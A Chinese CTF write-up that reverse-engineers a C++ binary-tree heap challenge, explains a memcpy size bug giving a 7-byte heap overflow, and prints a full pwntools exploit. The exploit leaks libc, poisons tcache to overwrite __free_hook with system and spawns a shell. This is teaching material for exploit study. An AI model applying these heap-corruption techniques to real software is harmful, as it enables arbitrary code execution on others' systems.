CTF高质量PWN题之二叉树的漏洞利用

Delina

原文链接：CTF高质量PWN题之二叉树的漏洞利用
​
分享一道CTF线下比赛中由c++编写的一道高质量赛题。
附件领取：在公众号后台回复"赛题"领取
初步分析程序运行起来看起来似乎是一道常规的菜单堆题：

​

libc环境：

​

是Glibc 2.27-3ubuntu1.4，这个版本与2.31版本很像，都有key机制，一定程度上防止了double free的攻击。
回到程序，程序的功能有插入，展示和删除，我们具体用IDA打开来看看程序是个什么逻辑。
​
可以看到函数列表有非常多的函数（原题去除了符号表，笔者经过逆向重命名了一些函数符号），并且使用c++编写，逆向起来难度更大，如果采取常规的静态分析手段，可能会花费很大的精力，由于题目名字是cxx_and_tree，我们猜测整个程序是用树这种数据结构来存储信息，最经典的莫过于二叉树，我们可以来写个demo来测试程序，如果申请以下堆块，那么堆结构如下面的图：

• 
  

1. add(0, 0x60, 'a')
   
2. add(4, 0x60, 'a')
   
3. add(2, 0x60, 'a')
   
4. add(9, 0x60, 'a')
   
5. add(3, 0x60, 'a')
   
6. add(7, 0x60, 'a')

复制代码

其中0x40大小的为node部分数据，其余大小的为其data数据，将其画为二叉树长成如下样子

​

左右子树根据其index分如上图，并且通过观察每个node的节点可以确定程序是用二叉树来存储数据。
经过逐步调试和逆向加深对程序的理解后，笔者分析node结构体如下：

1. struct node
   
2. {
   
3. __int64 idx;  // 节点号
   
4. __int64 user_size; // 用户输入的size
   
5. __int64 *self_heap_buf; // 存储数据的buf
   
6. node *left; // 左孩子
   
7. node *right; // 右孩子
   
8. node *father; // 父节点
   
9. };

复制代码

具体的漏洞和代码逆向请看下文。漏洞分析与逻辑触发点漏洞位于当我们删除某个二叉树节点的时候，如果该节点有左右子树，会调用一个memcpy的函数，这个函数的对于节点size的处理是有问题的。
在申请节点的时候，其size的算法是这样的：

​

做了一个类似于align的操作，这个操作是很安全的，人为扩展了一下chunk，使得我们能够申请的最大的size和其align之后最小的size一样大，但是下面的删除节点的操作就有bug了：

​

• 
  

v2 = (unsigned __int64)tmp_target->user_size >> 3;
写个poc来看下我们能溢出的字节数量

1. def poc():
   
2. for size in range(0x10, 0xff + 1):
   
3.        biggerSize = ((size >> 3) + 1) * 8
   
4.        smallerSize = (size >> 3) * 8
   
5. if biggerSize > smallerSize:
   
6.            print("size:{}, biggerSize:{}, smallerSize:{}".format(hex(size), hex(biggerSize), hex(smallerSize)))
   
7. 
   
8. poc()

复制代码

​

注意到我们在触发这个逻辑的时候，有部分size是比biggerSize要小的，最多可以溢出7字节。
整个删除节点的逻辑如下：

​

想要到达漏洞点所在的位置，则该节点必须同时拥有左右孩子节点才可以。
分析下如果该节点同时拥有左右孩子节点，那么删除该节点的时候发生的流程大致如下：
首先是获得该节点中右子树中最小的元素（按idx确定大小，因为下面一直走的是左子树的逻辑）
​
然后将其要替换的节点传入到带有bug的函数中，在此函数中，程序重新申请了一块buf，然后复制要替换节点的数据到新的buf中，值得注意的是，并没有像我们传统的数据结构中一通乱改指针，而是采用了一个复制的思想，但是新创建的buf的size给少了，控制得当能够溢出七个字节。
​
然后再往下的逻辑就是删掉刚才的右子树中的最小节点，因为其数据已经拷贝到原本要删除的节点当中。

​

在这里我有个疑问，既然之前选到了右子树的最小的节点，那么为什么还要判断其是否还有左子树呢？上面的分支应该永远不会进入，或许是出题人为了增加逆向难度，又或者是出题人面向ctrl+CV编程。
然后进入一个删除节点的函数：

1. unsigned __int64 __fastcall delete_leaf_node_or_right_children(struct node **father_node, struct node **to_delete_node, struct node **tmp_father_node)
   
2. {
   
3. struct node *v3; // rbx
   
4. struct node *v4; // rbx
   
5. struct node *v5; // rbx
   
6. struct node *v6; // rbx
   
7. unsigned __int64 v8; // [rsp+28h] [rbp-18h]
   
8. 
   
9. v8 = __readfsqword(0x28u);
   
10. if ( *to_delete_node == *father_node )        // only root node
    
11. {
    
12. if ( *((_DWORD *)father_node + 4) == 1 )    // only a node
    
13.   {
    
14.      v3 = *to_delete_node;
    
15. if ( *to_delete_node )
    
16.     {
    
17.        deleteNode0((__int64)*to_delete_node);
    
18. operator delete(v3);
    
19.     }
    
20.      *father_node = 0LL;
    
21.      --*((_DWORD *)father_node + 4);
    
22.      *to_delete_node = 0LL;
    
23.   }
    
24. else                                        // has right children
    
25.   {
    
26.      *father_node = (*father_node)->right;
    
27.     (*father_node)->father = 0LL;             // because of the "to_delete_node == father_node", the children will be the root node
    
28.      v4 = *to_delete_node;
    
29. if ( *to_delete_node )
    
30.     {
    
31.        deleteNode0((__int64)*to_delete_node);
    
32. operator delete(v4);
    
33.     }
    
34.      *to_delete_node = 0LL;
    
35.   }
    
36. }
    
37. else if ( *to_delete_node == (*tmp_father_node)->left )// if the node to delete is in the left of its father node:
    
38. {
    
39.   (*tmp_father_node)->left = (*to_delete_node)->right;// change parent ptr and children ptr
    
40. if ( (*to_delete_node)->right )
    
41.     (*to_delete_node)->right->father = *tmp_father_node;
    
42.    v5 = *to_delete_node;
    
43. if ( *to_delete_node )
    
44.   {
    
45.      deleteNode0((__int64)*to_delete_node);
    
46. operator delete(v5);
    
47.   }
    
48.    *to_delete_node = 0LL;
    
49. }
    
50. else                                          // if the node to delete is in the right of its father node:
    
51. {
    
52.   (*tmp_father_node)->right = (*to_delete_node)->right;
    
53. if ( (*to_delete_node)->right )
    
54.     (*to_delete_node)->right->father = *tmp_father_node;
    
55.    v6 = *to_delete_node;
    
56. if ( *to_delete_node )
    
57.   {
    
58.      deleteNode0((__int64)*to_delete_node);
    
59. operator delete(v6);
    
60.   }
    
61.    *to_delete_node = 0LL;
    
62. }
    
63. return __readfsqword(0x28u) ^ v8;
    
64. }

复制代码

漏洞利用完整exp如下：

1. from pwn import *
   
2. import sys
   
3. 
   
4. arch =  64
   
5. challenge = "./pwn1"
   
6. libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6"
   
7. libc_path_remote = ""
   
8. 
   
9. local = int(sys.argv[1])
   
10. elf = ELF(challenge)                                                                              
    
11. 
    
12. context.os = 'linux'
    
13. context.terminal = ['tmux', 'splitw', '-hp', '65']
    
14. 
    
15. if local:
    
16. if libc_path_local:
    
17.        io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
    
18. # io = gdb.debug(challenge, 'b *$rebase(0x279f)')
    
19.        libc = ELF(libc_path_local)
    
20. else:
    
21.        io = process(challenge)
    
22. else:
    
23.    io = remote("node4.buuoj.cn", 25965)
    
24. if libc_path_remote:
    
25.        libc = ELF(libc_path_remote)
    
26. 
    
27. if arch == 64:
    
28.    context.arch = 'amd64'
    
29. elif arch == 32:
    
30.    context.arch = 'i386'
    
31. 
    
32. def dbg():
    
33.    context.log_level = 'debug'
    
34. 
    
35. def echo(content):
    
36.    print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")
    
37. 
    
38. p   = lambda     : pause()
    
39. s   = lambda x   : success(x)
    
40. re = lambda m, t : io.recv(numb=m, timeout=t)
    
41. ru = lambda x   : io.recvuntil(x)
    
42. rl = lambda     : io.recvline()
    
43. sd = lambda x   : io.send(x)
    
44. sl = lambda x   : io.sendline(x)
    
45. ia = lambda     : io.interactive()
    
46. sla = lambda a, b : io.sendlineafter(a, b)
    
47. sa = lambda a, b : io.sendafter(a, b)
    
48. uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
    
49. uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
    
50. 
    
51. bps = []
    
52. pie = 0
    
53. 
    
54. def gdba():
    
55. if local == 0:
    
56. return 0
    
57.    cmd ='b *$rebase(0x1ee2)\n'
    
58. if pie:
    
59.        base = int(os.popen("pmap {}|awk '{{print ./pwn1}}'".format(io.pid)).readlines()[1],16)
    
60.        cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
    
61.        cmd +='set base={:#x}\n'.format(base)
    
62. else:
    
63.        cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
    
64.    gdb.attach(io,cmd)
    
65. 
    
66. _add,_free,_show = 2,3,1
    
67. 
    
68. menu = "3.remove_information"
    
69. 
    
70. def add(idx, size, content):
    
71.    sla(menu, str(_add))
    
72.    sla("idx:", str(idx))
    
73.    sla('size:', str(size))
    
74.    sa("content:", content)
    
75. # ru('addr=')
    
76. # return int(io.recv(5), base=16)
    
77. 
    
78. def free(idx):
    
79.    sla(menu, str(_free))
    
80.    sla("idx:", str(idx))
    
81. 
    
82. def show():
    
83.    sla(menu, str(_show))
    
84. 
    
85. def exp():
    
86. for i in range(8):
    
87.        add(i, 0xd0, 'a')
    
88. 
    
89. for i in range(7):
    
90.        free(i)
    
91. 
    
92.    add(8, 0x20, 'a')
    
93.    show()
    
94.    leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']
    
95.    libc_base = leak
    
96.    echo('libc base:' + hex(libc_base))
    
97. 
    
98.    free(7)
    
99.    free(8)
    
100. 
     
101.    add(7, 0xdf, 'z' * 0xdf)
     
102.    add(4, 0xd0, 'a')
     
103.    add(2, 0xd0, 'a')
     
104.    add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)
     
105.    add(10, 0xdf, 'c' * 0xdf)
     
106.    add(15, 0xdf, 'd' * 0xdf)
     
107.    add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))
     
108. 
     
109. # The last one chunks are buF areas of Number 3
     
110. # The last two chunks are buF areas of Number b
     
111.    free(11) # 5c0 will corrupt
     
112. 
     
113.    __free_hook = libc_base + libc.sym['__free_hook']
     
114.    system = libc_base + libc.sym['system']
     
115. 
     
116.    free(4)
     
117.    add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))
     
118. 
     
119. 
     
120.    add(0, 0x2f, 'a')
     
121.    add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))
     
122.    free(2)
     
123. 
     
124.    free(0)
     
125.    free(4)
     
126.    free(15)
     
127.    free(10)
     
128.    free(13)
     
129. 
     
130. 
     
131. # Get the second chunk of 0x30
     
132.    add(13, 0xd0, 'a')
     
133.    add(10, 0x2f, 'a')
     
134.    add(15, 0x2f, 'a')
     
135.    add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))
     
136.    free(13)
     
137. 
     
138.    free(10)
     
139.    free(15)
     
140. 
     
141.    add(10, 0xd0, '/bin/sh\x00')
     
142.    add(8, 0x2f, '/bin/sh\x00')
     
143.    add(13, 0x2f, '/bin/sh\x00')
     
144.    add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))
     
145.    free(10)
     
146. 
     
147.    free(8)
     
148. 
     
149. exp()
     
150. ia()

复制代码

漏洞其实并不太好利用，分析原因如下：insert节点的时候会额外申请别的堆块出来，整体的堆布局我们其实并不太好控制，所以漏洞利用的时候会有时不可控，我们需要反复的调试，现给出exp的书写思路。
泄露libc基址

1. for i in range(8):
   
2.        add(i, 0xd0, 'a')
   
3. 
   
4. for i in range(7):
   
5.        free(i)
   
6. 
   
7.    add(8, 0x20, 'a')
   
8.    show()
   
9.    leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']
   
10.    libc_base = leak
    
11. echo('libc base:' + hex(libc_base))
    
12. 
    
13.    free(7)
    
14.    free(8)

复制代码

在2.27下，只要循环填满tcache即可很容易的泄露出libc​
​
布置二叉树

1. add(7, 0xdf, 'z' * 0xdf)
   
2.    add(4, 0xd0, 'a')
   
3.    add(2, 0xd0, 'a')
   
4.    add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)
   
5.    add(10, 0xdf, 'c' * 0xdf)
   
6.    add(15, 0xdf, 'd' * 0xdf)
   
7.    add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))

复制代码

可以看到，我们在输入content的时候会输入一些很奇怪的值，这个时候的值我们是无法确定的，必须结合后文来慢慢调试。初始状态如图所示，这个时候我们去free11，将会到达漏洞所在逻辑的位置处，让程序触发漏洞。

​

此时堆空间的布局如图所示
​
可以看到这个时候其实已经利用了漏洞改写了下一个堆块的size位，形成了overlap
​
下面是关键操作，劫持tcache数组的0x30大小的chunk的fd为hook

1.     free(4)
   
2. add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))

复制代码

此时的bins情况：

​

此时的二叉树为：

​

因为现在已经将freehook链入到tcache里面，下面我们的工作主要就是围绕怎么将其申请出来而努力，首先直接申请是肯定不行的，我也没有深究，因为申请的时候会首先申请两个chunk出来，然后将其free掉，然后再做一系列的memcpy操作，在这一系列的过程中，无法保证中间chunk的合法性能够绕过检查，所以我们还是利用漏洞点申请不同size的chunk的这一特性努力，我们可以逐个布置满足要求的二叉树节点，然后利用漏洞来申请出来这个chunk。
第一轮申请

1. add(0, 0x2f, 'a')
   
2. add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))
   
3.    free(2)

复制代码

布置完如下node，二叉树为：

​

堆布局为：

​

可以看到还有两个node就可以申请到freehook。

1. free(0)
   
2. free(4)
   
3. free(15)
   
4. free(10)
   
5. free(13)

复制代码

清除一些无关的node，为我们布置节点做好铺垫。
第二轮申请

1. add(13, 0xd0, 'a')
   
2. add(10, 0x2f, 'a')
   
3. add(15, 0x2f, 'a')
   
4. add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))
   
5.    free(13)

复制代码

此时二叉树为：

​

堆布局为：

​

清除一些节点来重新布置
free(10)
free(15)第三轮申请并getshell
故技重施，最终可以申请到hook所在空间并getshell

1. add(10, 0xd0, '/bin/sh\x00')
   
2. add(8, 0x2f, '/bin/sh\x00')
   
3. add(13, 0x2f, '/bin/sh\x00')
   
4. add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))
   
5.    free(10)
   
6. 
   
7.    free(8) # getshell

复制代码

​

本文到这里就结束了，如果有疑问或者任何不当之处欢迎联系笔者进行技术交流：lemonujn@gmail.com
​